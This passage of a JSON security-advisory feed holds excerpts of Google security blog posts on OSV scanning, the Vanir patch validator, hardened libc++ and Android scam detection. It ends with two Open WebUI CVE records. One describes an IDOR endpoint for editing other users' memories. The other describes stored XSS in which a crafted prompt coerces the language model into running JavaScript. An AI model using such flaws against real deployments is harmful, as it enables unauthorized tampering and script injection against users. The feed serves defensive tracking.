Platform Enumerations). \n\n Over the past three years, OSV has increased its total coverage to 28 language and OS ecosystems. For example, industry leaders such as GitHub, Chainguard, and Ubuntu, as well as open source ecosystems such as Rust and Python are now exporting their vulnerability discoveries in the OSV Schema. This increased coverage also includes Chainguard’s Wolfi images and Google’s Distroless images , which are popular choices for minimal container images used by many developers and organizations. Customers who rely on distroless images can count on Artifact Analysis scanning to support their minimal container image initiatives. Each expansion in OSV’s coverage is incorporated into scanning tools that integrate with the OSV database. \n\n Broader vulnerability detection with Artifact Analysis \n\n As a result of OSV’s expansion, scanners like Artifact Analysis that draw from OSV now alert users to higher quality vulnerability information across a broader set of ecosystems—meaning GCP project owners will be made aware of a more complete set of vulnerability findings and potential security risks. \n\n Existing Artifact Registry scanning customers don't need to take any action to take advantage of this update. Projects that have scanning enabled will immediately benefit from this expanded coverage and vulnerability findings will continue to be available in the Artifact Registry UI, Container Analysis API, and via pub/sub (for workflows). \n\n Existing On Demand scanning cust omers will also benefit from this expanded vulnerability coverage. All the same Operating Systems and Language package coverage that Registry Scanning customers enjoy are available in On Demand Scan. \n\n Beyond Artifact Registry \n\n We know that detection is just one of the first steps necessary to manage risks. We’re continually expanding Artifact Analysis capabilities and in 2025 we’ll be integrating Artifact Registry vulnerability findings with Google Cloud’s Security Command Center . Through Security Command Center customers can maintain a more comprehensive vulnerability management program, and prioritize risk across a number of different dimensions.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2024-12-10T18:11:00.000Z","updatedAt":"2024-12-10T18:11:43.106Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Google Cloud expands vulnerability detection for Artifact Registry using OSV","url":"https://security.googleblog.com/2024/12/google-cloud-expands-vulnerability.html","type":"primary","publishedAt":"2024-12-10T18:11:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-announcing-launch-of-vanir-open-source-cb78fd958b86","cveId":null,"aliases":[],"kind":"advisory","title":"Announcing the launch of Vanir: Open-source Security Patch Validation","summary":"Posted by Hyunwook Baek, Duy Truong, Justin Dunlap and Lauren Stan from Android Security and Privacy, and Oliver Chang with the Google Open Source Security Team \n\n Today, we are announcing the availability of Vanir , a new open-source security patch validation tool. Introduced at Android Bootcamp in April, Vanir gives Android platform developers the power to quickly and efficiently scan their custom platform code for missing security patches and identify applicable available patches. Vanir significantly accelerates patch validation by automating this process, allowing OEMs to ensure devices are protected with critical security updates much faster than traditional methods. This strengthens the security of the Android ecosystem, helping to keep Android users around the world safe. \n\n By open-sourcing Vanir, we aim to empower the broader security community to contribute to and benefit from this tool, enabling wider adoption and ultimately improving security across various ecosystems. While initially designed for Android, Vanir can be easily adapted to other ecosystems with relatively small modifications, making it a versatile tool for enhancing software security across the board. In collaboration with the Google Open Source Security Team, we have incorporated feedback from our early adopters to improve Vanir and make it more useful for security professionals. This tool is now available for you to start developing on top of, and integrating into, your systems. \n\n The Android ecosystem relies on a multi-stage process for vulnerability mitigation. When a new vulnerability is discovered, upstream AOSP developers create and release upstream patches. The downstream device and chip manufacturers then assess the impact on their specific devices and backport the necessary fixes. This process, while effective, can present scalability challenges, especially for manufacturers managing a diverse range of devices and old models with complex update histories. Managing patch coverage","detail":"Posted by Hyunwook Baek, Duy Truong, Justin Dunlap and Lauren Stan from Android Security and Privacy, and Oliver Chang with the Google Open Source Security Team \n\n Today, we are announcing the availability of Vanir , a new open-source security patch validation tool. Introduced at Android Bootcamp in April, Vanir gives Android platform developers the power to quickly and efficiently scan their custom platform code for missing security patches and identify applicable available patches. Vanir significantly accelerates patch validation by automating this process, allowing OEMs to ensure devices are protected with critical security updates much faster than traditional methods. This strengthens the security of the Android ecosystem, helping to keep Android users around the world safe. \n\n By open-sourcing Vanir, we aim to empower the broader security community to contribute to and benefit from this tool, enabling wider adoption and ultimately improving security across various ecosystems. While initially designed for Android, Vanir can be easily adapted to other ecosystems with relatively small modifications, making it a versatile tool for enhancing software security across the board. In collaboration with the Google Open Source Security Team, we have incorporated feedback from our early adopters to improve Vanir and make it more useful for security professionals. This tool is now available for you to start developing on top of, and integrating into, your systems. \n\n The Android ecosystem relies on a multi-stage process for vulnerability mitigation. When a new vulnerability is discovered, upstream AOSP developers create and release upstream patches. The downstream device and chip manufacturers then assess the impact on their specific devices and backport the necessary fixes. This process, while effective, can present scalability challenges, especially for manufacturers managing a diverse range of devices and old models with complex update histories. Managing patch coverage across diverse and customized devices often requires considerable effort due to the manual nature of backporting. \n\n To streamline the vital security workflow, we developed Vanir. Vanir provides a scalable and sustainable solution for security patch adoption and validation, helping to ensure Android devices receive timely protection against potential threats. \n\n The power of Vanir \n\n Source-code-based static analysis \n\n Vanir’s first-of-its-kind approach to Android security patch validation uses source-code-based static analysis to directly compare the target source code against known vulnerable code patterns. Vanir does not rely on traditional metadata-based validation mechanisms, such as version numbers, repository history and build configs, which can be prone to errors. This unique approach enables Vanir to analyze entire codebases with full history, individual files, or even partial code snippets. \n\n A main focus of Vanir is to automate the time consuming and costly process of identifying missing security patches in the open source software ecosystem. During the early development of Vanir, it became clear that manually identifying a high-volume of missing patches is not only labor intensive but also can leave user devices inadvertently exposed to known vulnerabilities for a period of time. To address this, Vanir utilizes novel automatic signature refinement techniques and multiple pattern analysis algorithms, inspired by the vulnerable code clone detection algorithms proposed by Jang et al. [1] and Kim et al. [2]. These algorithms have low false-alarm rates and can effectively handle broad classes of code changes that might appear in code patch processes. In fact, based on our 2-year operation of Vanir, only 2.72% of signatures triggered false alarms. This allows Vanir to efficiently find missing patches, even with code changes, while minimizing unnecessary alerts and manual review efforts. \n\n Vanir's source-code-based approach also enables rapid scaling across any ecosystem. It can generate signatures for any source files written in supported languages. Vanir's signature generator automatically generates, tests, and refines these signatures, allowing users to quickly create signatures for new vulnerabilities in any ecosystem simply by providing source files with security patches. \n\n Android’s successful use of Vanir highlights its efficiency compared to traditional patch verification methods. A single engineer used Vanir to generate signatures for over 150 vulnerabilities and verify missing security patches across its downstream branches – all within just five days. \n\n Vanir for Android \n\n Currently Vanir supports C/C++ and Java targets and covers 95% of Android kernel and userspace CVEs with public security patches. Google Android Security team consistently incorporates the latest CVEs into Vanir’s coverage to provide a complete picture of the Android ecosystem’s patch adoption risk profile. \n\n The Vanir signatures for Android vulnerabilities are published through the Open Source Vulnerabilities (OSV) database. This allows Vanir users to seamlessly protect their codebases against latest Android vulnerabilities without any additional updates. Currently, there are over 2,000 Android vulnerabilities in OSV , and finishing scanning an entire Android source tree can take 10-20 minutes with a modern PC. \n\n <img height=\"273\" src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABkAAAAKACAYAAADEq7QAAAAAAXNSR0IArs4c6QAAIABJREFUeF7s3Qd4VFX6BvB3anpPIKQBIQFCb1LtoKCgK64oCuraK4hrL4gFsCCKvaFgBQEXsWFFFBCU3ktCCSQhCek9k8zM//+dKSSQkAAJmUne+zysMLnlnN+9Qfe++c6nATcKUIACFKAABShAAQpQgAIUoAAFKEABClCAAhSgAAUo0MwENM1sPpwOBShAAQpQgAIUoAAFKEABClCAAhSgAAUoQAEKUIACFAADED4EFKAABShAAQpQgAIUoAAFKEABClCAAhSgAAUoQAEKNDsBBiDN7pZyQhSgAAUoQAEKUIACFKAABShAAQpQgAIUoAAFKEABCjAA4TNAAQpQgAIUoAAFKEABClCAAhSgAAUoQAEKUIACFKBAsxNgANLsbiknRAEKUIACFKAABShAAQpQgAIUoAAFKEABClCAAhSgAAMQPgMUoAAFKEABClCAAhSgAAUoQAEKuIpAOwADAXQFEAUgAIDVVQbHcVCAAhSgAAUocEoCZgB5APYB2ATgLwAFp3SmkzyIAchJgnF3ClCAAhSgAAUoQAEKUIACFKAABRpMQAKOeACXAbgHQEiDnZknogAFKEABClDAlQX2AJgJYDmAVADFjTFYBiCNocpzUoACFKAABShAAQpQgAIUoAAFKHAiAQk+LgRw3f//FOjFAPxjYmIwePBgdOjQAREREQgKCoKnpyf0ej0lKUABClCAAhRwYwGTyYSSkhJkZWXh0KFD2L17N3744QfHjFIAyB++BLAKQHlDTpUBSENq8lwUoAAFKEABClCAAhSgAAUoQAEK1CUgFR8PARgJIKJXr16444470KdPH0RGRsLb2xteXl7w8PCARsPXFnVh8usUoAAFKEABdxCwWCwoKytTQUhBQYEKQtauXYuHHpL/JFBbMoDPALwLQEKRBtn4XxINwsiTUIACFKAABShAAQpQgAIUoAAFKFAPgYsAzJXgQ/ZduHAhRo4cCYPBwEqPeuBxFwpQgAIUoEBzEqioqEB2djY+/vhjPProozI16fslVSC3A9jZEHNlANIQijwHBShAAQpQgAIUoAAFKEABClCAAicSMAIYA2AOAMM999yDSZMmIS4ujmoUoAAFKEABClAA69evx4wZM/Dll7ISFg4D+DeA1adLwwDkdAV5PAUoQAEKUIACFKAABShAAQpQgAInEtACGAfgeQCR7733HkaPHo2wsDCqUYACFKAABShAAafAgQMH8OGHH2Lq1KnymTRJvwvAstMhYgByOno8lgIUoAAFKEABClCAAhSgAAUoQIG6BM4H8LkseyVLXFx99dWquTk3ClCAAhSgAAUocKyALIklAcisWbPkS38AuBPArlOVYgByqnI8jgIUoAAFKEABClCAAhSgAAUoQIG6BCLty1dEP/vss5g8eXJd+/PrFKAABShAAQpQAKNGjcL3338vEp/YK0FKToWFAcipqPEYClCAAhSgAAUoQAEKUIACFKAABeoS0AN4FcC9d911F5555hkue1WXGL9OAQpQgAIUoIASSE1NxTXXXINVq1ZVArgewPxToWEAcipqPIYCFKAABShAAQpQgAIUoAAFKECBugQGAPhq8ODBkW+88Qb69OlT1/78OgUoQAEKUIACFFACFosFX3/9Nf79b+mFjt0AugGQMOSkNgYgJ8XFnSlAAQpQgAIUoAAFKEABClCAAhSoh4A0Pp8B4L+vv/46JkyYUI9DuAsFKEABClCAAhQ4KpCSkqKWz5w7d658eMf/9xN7/2R9GICcrBj3pwAFKEABClCAAhSgAAUoQAEKUKAugU4Avu7QoUPnZcuWISYmpq79+XUKUIACFKAABShwnMDixYtx5ZVXyufLAchvck+GiQHIyWhxXwpQgAIUoAAFKEABClCAAhSgAAXqIzAOwJw77rjDIMtfGQyG+hzDfShAAQpQgAIUoEA1gQMHDmD8+PHSCyQZwA0A/jwZIgYgJ6PFfSlAAQpQgAIUoAAFKEABClCAAhSoS0AH4GUAk2TJihtvvLGu/fl1ClCAAhRoJIHk5IMoKipCUFAQIiLa1OsqZWVlkOM8PI2IiY6BViurGraMLS0tDfn5BWjdujWCg4NcYtIVFZUwGPQuMZamGsQtt9yCjz76qAjAAye7DBYDkKa6a7wuBShAAQpQgAIUoAAFKEABClCgeQqEAlgM4OzVq1dj4MCBzXOWnBUFKEABFxXIzs7GTz/9jDlzP8bOnbtRXFKKwAA/dOwYj4kT78X5550HHx+f40afn5+PxYuX4K2338b+A4dgNOrRrUsXPPTQgxg27EJoNBos/+MPzJgxExMn3Ivhwy+uUaC8vBzz5s3H51/Mw9tvvYH4+Ph6S/3+++94/sUZeH3WK+jcuXO9jzudHa1WK3bt3o0nnpiMdes2KC9/P1/cccetuPmm/6BVq1anc/rTOnbr1m2Y/NQUJCR0xvPTp53Wudz54A8++AC33367NEB/7f/7oz8FoKS+82EAUl8p7kcBClCAAhSgAAUoQAEKUIACFKBAfQTaA1gNoPX","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2024-12-05T17:53:00.000Z","updatedAt":"2024-12-12T21:20:20.010Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Announcing the launch of Vanir: Open-source Security Patch Validation","url":"https://security.googleblog.com/2024/12/announcing-launch-of-vanir-open-source.html","type":"primary","publishedAt":"2024-12-05T17:53:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-retrofitting-spatial-safety-to-hundreds-55047b9d6e15","cveId":null,"aliases":[],"kind":"advisory","title":"Retrofitting spatial safety to hundreds of millions of lines of C++","summary":"Posted by Alex Rebert and Max Shavrick, Security Foundations, and Kinuko Yasuda, Core Developer\n\nAttackers regularly exploit spatial memory safety vulnerabilities , which occur when code accesses a memory allocation outside of its intended bounds, to compromise systems and sensitive data. These vulnerabilities represent a major security risk to users. \n\nBased on an analysis of in-the-wild exploits tracked by Google's Project Zero , spatial safety vulnerabilities represent 40% of in-the-wild memory safety exploits over the past decade:\n\n Breakdown of memory safety CVEs exploited in the wild by vulnerability class. 1 \n\n Google is taking a comprehensive approach to memory safety . A key element of our strategy focuses on Safe Coding and using memory-safe languages in new code. This leads to an exponential decline in memory safety vulnerabilities and quickly improves the overall security posture of a codebase, as demonstrated by our post about Android's journey to memory safety .\n\n However, this transition will take multiple years as we adapt our development practices and infrastructure. Ensuring the safety of our billions of users therefore requires us to go further: we're also retrofitting secure-by-design principles to our existing C++ codebase wherever possible.\n\n To that end, we're working towards bringing spatial memory safety into as many of our C++ codebases as possible, including Chrome and the monolithic codebase powering our services.\n\n We’ve begun by enabling hardened libc++, which adds bounds checking to standard C++ data structures, eliminating a significant class of spatial safety bugs. While C++ will not become fully memory-safe, these improvements reduce risk as discussed in more detail in our perspective on memory safety , leading to more reliable and secure software.\n\n This post explains how we're retrofitting hardened libc++ across our codebases and showcases the positive impact it's already having, including preventing exploits, reducing crashes, an","detail":"Posted by Alex Rebert and Max Shavrick, Security Foundations, and Kinuko Yasuda, Core Developer\n\nAttackers regularly exploit spatial memory safety vulnerabilities , which occur when code accesses a memory allocation outside of its intended bounds, to compromise systems and sensitive data. These vulnerabilities represent a major security risk to users. \n\nBased on an analysis of in-the-wild exploits tracked by Google's Project Zero , spatial safety vulnerabilities represent 40% of in-the-wild memory safety exploits over the past decade:\n\n Breakdown of memory safety CVEs exploited in the wild by vulnerability class. 1 \n\n Google is taking a comprehensive approach to memory safety . A key element of our strategy focuses on Safe Coding and using memory-safe languages in new code. This leads to an exponential decline in memory safety vulnerabilities and quickly improves the overall security posture of a codebase, as demonstrated by our post about Android's journey to memory safety .\n\n However, this transition will take multiple years as we adapt our development practices and infrastructure. Ensuring the safety of our billions of users therefore requires us to go further: we're also retrofitting secure-by-design principles to our existing C++ codebase wherever possible.\n\n To that end, we're working towards bringing spatial memory safety into as many of our C++ codebases as possible, including Chrome and the monolithic codebase powering our services.\n\n We’ve begun by enabling hardened libc++, which adds bounds checking to standard C++ data structures, eliminating a significant class of spatial safety bugs. While C++ will not become fully memory-safe, these improvements reduce risk as discussed in more detail in our perspective on memory safety , leading to more reliable and secure software.\n\n This post explains how we're retrofitting hardened libc++ across our codebases and showcases the positive impact it's already having, including preventing exploits, reducing crashes, and improving code correctness.\n\n Bounds-checked data structures: The foundation for spatial safety\n\n One of our primary strategies for improving spatial safety in C++ is to implement bounds checking for common data structures, starting with hardening the C++ standard library (in our case, LLVM’s libc++). Hardened libc++ , recently added by open source contributors, introduces a set of security checks designed to catch vulnerabilities such as out-of-bounds accesses in production.\n\n For example, hardened libc++ ensures that every access to an element of a std::vector stays within its allocated bounds, preventing attempts to read or write beyond the valid memory region. Similarly, hardened libc++ checks that a std::optional isn't empty before allowing access, preventing access to uninitialized memory.\n\n This approach mirrors what's already standard practice in many modern programming languages like Java, Python, Go, and Rust. They all incorporate bounds checking by default , recognizing its crucial role in preventing memory errors. C++ has been a notable exception, but efforts like hardened libc++ aim to close this gap in our infrastructure. It’s also worth noting that similar hardening is available in other C++ standard libraries, such as libstdc++ .\n\n Raising the security baseline across the board\n\n Building on the successful deployment of hardened libc++ in Chrome in 2022, we've now made it default across our server-side production systems. This improves spatial memory safety across our services, including key performance-critical components of products like Search, Gmail, Drive, YouTube, and Maps. While a very small number of components remain opted out, we're actively working to reduce this and raise the bar for security across the board , even in applications with lower exploitation risk.\n\n The performance impact of these changes was surprisingly low, despite Google's modern C++ codebase making heavy use of libc++. Hardening libc++ resulted in an average 0.30% performance impact across our services (yes, only a third of a percent).\n \n This is due to both the compiler's ability to eliminate redundant checks during optimization, and the efficient design of hardened libc++. While a handful of performance-critical code paths still require targeted use of explicitly unsafe accesses, these instances are carefully reviewed for safety. Techniques like profile-guided optimizations further improved performance, but even without those advanced techniques, the overhead of bounds checking remains minimal.\n\n We actively monitor the performance impact of these checks and work to minimize any unnecessary overhead. For instance, we identified and fixed an unnecessary check, which led to a 15% reduction in overhead (reduced from 0.35% to 0.3%), and contributed the fix back to the LLVM project to share the benefits with the broader C++ community.\n\n While hardened libc++'s overhead is minimal for individual applications in most cases, deploying it at Google's scale required a substantial commitment of computing resources. This investment underscores our dedication to enhancing the safety and security of our products.\n\n From tests to production\n\n Enabling libc++ hardening wasn't a simple flip of a switch. Rather, it required a multi-stage rollout to avoid accidentally disrupting users or creating an outage: \n \n Testing: We first enabled hardened libc++ in our tests over a year ago. This allowed us to identify and fix hundreds of previously undetected bugs in our code and tests.\n\n Baking: We let the hardened runtime \"bake\" in our testing and pre-production environments, giving developers time to adapt and address any new issues that surfaced. We also conducted extensive performance evaluations, ensuring minimal impact to our users' experience.\n\n Gradual Production Rollout: We then rolled out hardened libc++ to production over several months, starting with a small set of services and gradually expanding to our entire infrastructure. We closely monitored the rollout, promptly addressing any crashes or performance regressions.\n\n Quantifiable impact\n\n In just a few months since enabling hardened libc++ by default, we've already seen benefits.\n\n Preventing exploits: Hardened libc++ has already disrupted an internal red team exercise and would have prevented another one that happened before we enabled hardening, demonstrating its effectiveness in thwarting exploits. The safety checks have uncovered over 1,000 bugs, and would prevent 1,000 to 2,000 new bugs yearly at our current rate of C++ development.\n\n Improved reliability and correctness: The process of identifying and fixing bugs uncovered by hardened libc++ led to a 30% reduction in our baseline segmentation fault rate across production, indicating improved code reliability and quality. Beyond crashes, the checks also caught errors that would have otherwise manifested as unpredictable behavior or data corruption.\n\n Moving average of segfaults across our fleet over time, before and after enablement.\n\n Easier debugging: Hardened libc++ enabled us to identify and fix multiple bugs that had been lurking in our code for more than a decade. The checks transform many difficult-to-diagnose memory corruptions into immediate and easily debuggable errors, saving developers valuable time and effort. \n\n Bridging the gap with memory-safe languages\n\n While libc++ hardening provides immediate benefits by adding bounds checking to standard data structures, it's only one piece of the puzzle when it comes to spatial safety.\n\n We're expanding bounds checking to other libraries and working to migrate our code to Safe Buffers , requiring all accesses to be bounds checked. For spatial safety, both hardened data structures, including their iterators, and Safe Buffers are necessary.\n\n Beyond improving the safety of our C++, we're also focused on making it easier to interoperate with memory-safe languages. Migrating our C++ to Safe Buffers shrinks the gap between the languages, which","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2024-11-15T17:42:00.000Z","updatedAt":"2024-11-15T23:54:05.053Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Retrofitting spatial safety to hundreds of millions of lines of C++","url":"https://security.googleblog.com/2024/11/retrofitting-spatial-safety-to-hundreds.html","type":"primary","publishedAt":"2024-11-15T17:42:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-new-real-time-protections-on-Android-8ff0e61f593b","cveId":null,"aliases":[],"kind":"advisory","title":"Safer with Google: New intelligent, real-time protections on Android to keep you safe","summary":"Posted by Lyubov Farafonova, Product Manager and Steve Kafka, Group Product Manager, Android \n\nUser safety is at the heart of everything we do at Google. Our mission to make technology helpful for everyone means building features that protect you while keeping your privacy top of mind. From Gmail’s defenses that stop more than 99.9% of spam, phishing and malware, to Google Messages’ advanced security that protects users from 2 billion suspicious messages a month and beyond, we're constantly developing and expanding protection features that help keep you safe.\n\nWe're introducing two new real-time protection features that enhance your safety, all while safeguarding your privacy: Scam Detection in Phone by Google to protect you from scams and fraud, and Google Play Protect live threat detection with real-time alerts to protect you from malware and dangerous apps.\n\nThese new security features are available first on Pixel, and are coming soon to more Android devices. \n\n More intelligent AI-powered protection against scams \n\nScammers steal over $1 trillion dollars a year from people, and phone calls are their favorite way to do it. Even more alarming, scam calls are evolving, becoming increasingly more sophisticated , damaging and harder to identify. That’s why we’re using the best of Google AI to identify and stop scams before they can do harm with Scam Detection.\n\n Real-time protection, built with your privacy in mind. \n\n Real-time defense, right on your device: Scam Detection uses powerful on-device AI to notify you of a potential scam call happening in real-time by detecting conversation patterns commonly associated with scams. For example, if a caller claims to be from your bank and asks you to urgently transfer funds due to an alleged account breach, Scam Detection will process the call to determine whether the call is likely spam and, if so, can provide an audio and haptic alert and visual warning that the call may be a scam. \n\n Private by design, you’re always in","detail":"Posted by Lyubov Farafonova, Product Manager and Steve Kafka, Group Product Manager, Android \n\nUser safety is at the heart of everything we do at Google. Our mission to make technology helpful for everyone means building features that protect you while keeping your privacy top of mind. From Gmail’s defenses that stop more than 99.9% of spam, phishing and malware, to Google Messages’ advanced security that protects users from 2 billion suspicious messages a month and beyond, we're constantly developing and expanding protection features that help keep you safe.\n\nWe're introducing two new real-time protection features that enhance your safety, all while safeguarding your privacy: Scam Detection in Phone by Google to protect you from scams and fraud, and Google Play Protect live threat detection with real-time alerts to protect you from malware and dangerous apps.\n\nThese new security features are available first on Pixel, and are coming soon to more Android devices. \n\n More intelligent AI-powered protection against scams \n\nScammers steal over $1 trillion dollars a year from people, and phone calls are their favorite way to do it. Even more alarming, scam calls are evolving, becoming increasingly more sophisticated , damaging and harder to identify. That’s why we’re using the best of Google AI to identify and stop scams before they can do harm with Scam Detection.\n\n Real-time protection, built with your privacy in mind. \n\n Real-time defense, right on your device: Scam Detection uses powerful on-device AI to notify you of a potential scam call happening in real-time by detecting conversation patterns commonly associated with scams. For example, if a caller claims to be from your bank and asks you to urgently transfer funds due to an alleged account breach, Scam Detection will process the call to determine whether the call is likely spam and, if so, can provide an audio and haptic alert and visual warning that the call may be a scam. \n\n Private by design, you’re always in control: We’ve built Scam Detection to protect your privacy and ensure you’re always in control of your data. Scam Detection is off by default, and you can decide whether you want to activate it for future calls. At any time, you can turn it off for all calls in the Phone app Settings, or during a particular call. The AI detection model and processing are fully on-device, which means that no conversation audio or transcription is stored on the device, sent to Google servers or anywhere else, or retrievable after the call.\n\n Cutting-edge AI protection, now on more Pixel phones: Gemini Nano , our advanced on-device AI model, powers Scam Detection on Pixel 9 series devices. As part of our commitment to bring powerful AI features to even more devices, this AI-powered protection is available to Pixel 6+ users thanks to other robust Google on-device machine learning models. \n\nWe’re now rolling out Scam Detection to English-speaking Phone by Google public beta users in the U.S. with a Pixel 6 or newer device. \n\nTo provide feedback on your experience, please click on Phone by Google App -> Menu -> Help & Feedback -> Send Feedback. We look forward to learning from this beta and your feedback, and we’ll share more about Scam Detection in the months ahead.\n\n More real-time alerts to protect you from bad apps \n\n Google Play Protect works non-stop to protect you in real-time from malware and unsafe apps. Play Protect analyzes behavioral signals related to the use of sensitive permissions and interactions with other apps and services.\n\nWith live threat detection, if a harmful app is found, you'll now receive a real-time alert, allowing you to take immediate action to protect your device. By looking at actual activity patterns of apps, live threat detection can now find malicious apps that try extra hard to hide their behavior or lie dormant for a time before engaging in suspicious activity. \n\nAt launch, live threat detection will focus on stalkerware, code that may collect personal or sensitive data for monitoring purposes without user consent, and we will explore expanding its detection to other types of harmful apps in the future. All of this protection happens on your device in a privacy preserving way through Private Compute Core , which allows us to protect users without collecting data. \n\nLive threat detection with real-time alerts in Google Play Protect are now available on Pixel 6+ devices and will be coming to additional phone makers in the coming months.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2024-11-13T17:59:00.000Z","updatedAt":"2024-11-13T17:59:56.670Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Safer with Google: New intelligent, real-time protections on Android to keep you safe","url":"https://security.googleblog.com/2024/11/new-real-time-protections-on-Android.html","type":"primary","publishedAt":"2024-11-13T17:59:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-7041","cveId":"CVE-2024-7041","aliases":["GHSA-xcvc-5hgv-phqg"],"kind":"vulnerability","title":"open-webui Insecure Direct Object Reference (IDOR) vulnerability","summary":"An Insecure Direct Object Reference (IDOR) vulnerability exists in open-webui/open-webui version v0.3.8. The vulnerability occurs in the API endpoint `http://0.0.0.0:3000/api/v1/memories/{id}/update`, where the decentralization design is flawed, allowing attackers to edit other users' memories without proper authorization.","detail":"An Insecure Direct Object Reference (IDOR) vulnerability exists in open-webui/open-webui version v0.3.8. The vulnerability occurs in the API endpoint `http://0.0.0.0:3000/api/v1/memories/{id}/update`, where the decentralization design is flawed, allowing attackers to edit other users' memories without proper authorization.\n\nAffected package ranges reported by GitHub:\nopen-webui: < 0.6.3","action":"GitHub lists first patched versions: open-webui: 0.6.3. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2024-10-09T21:31:08.000Z","updatedAt":"2026-10-26T15:08:56.000Z","regions":["Global"],"vendor":null,"product":"open-webui","stacks":["Python packages (PyPI)","open-webui","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","sourceUrl":"https://github.com/advisories/GHSA-xcvc-5hgv-phqg","asOf":"2026-10-26T15:08:56.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-xcvc-5hgv-phqg","url":"https://github.com/advisories/GHSA-xcvc-5hgv-phqg","type":"primary","publishedAt":"2024-10-09T21:31:08.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-xcvc-5hgv-phqg, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-6706","cveId":"CVE-2024-6706","aliases":["GHSA-5jp3-wp5v-5363"],"kind":"vulnerability","title":"Open WebUI Stored Cross-Site Scripting Vulnerability","summary":"Attackers can craft a malicious prompt that coerces the language model into executing arbitrary JavaScript in the context of the web page.","detail":"Attackers can craft a malicious prompt that coerces the language model into executing arbitrary JavaScript in the context of the web page.\n\nAffected package ranges reported by GitHub:\nopen-webui: < 0.3.14","action":"GitHub lists first patched versions: open-webui: 0.3.14. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2024-08-08T00:31:44.000Z","updatedAt":"2026-10-26T15:10:15.000Z","regions":["Global"],"vendor":null,"product":"open-webui","stacks":["Python packages 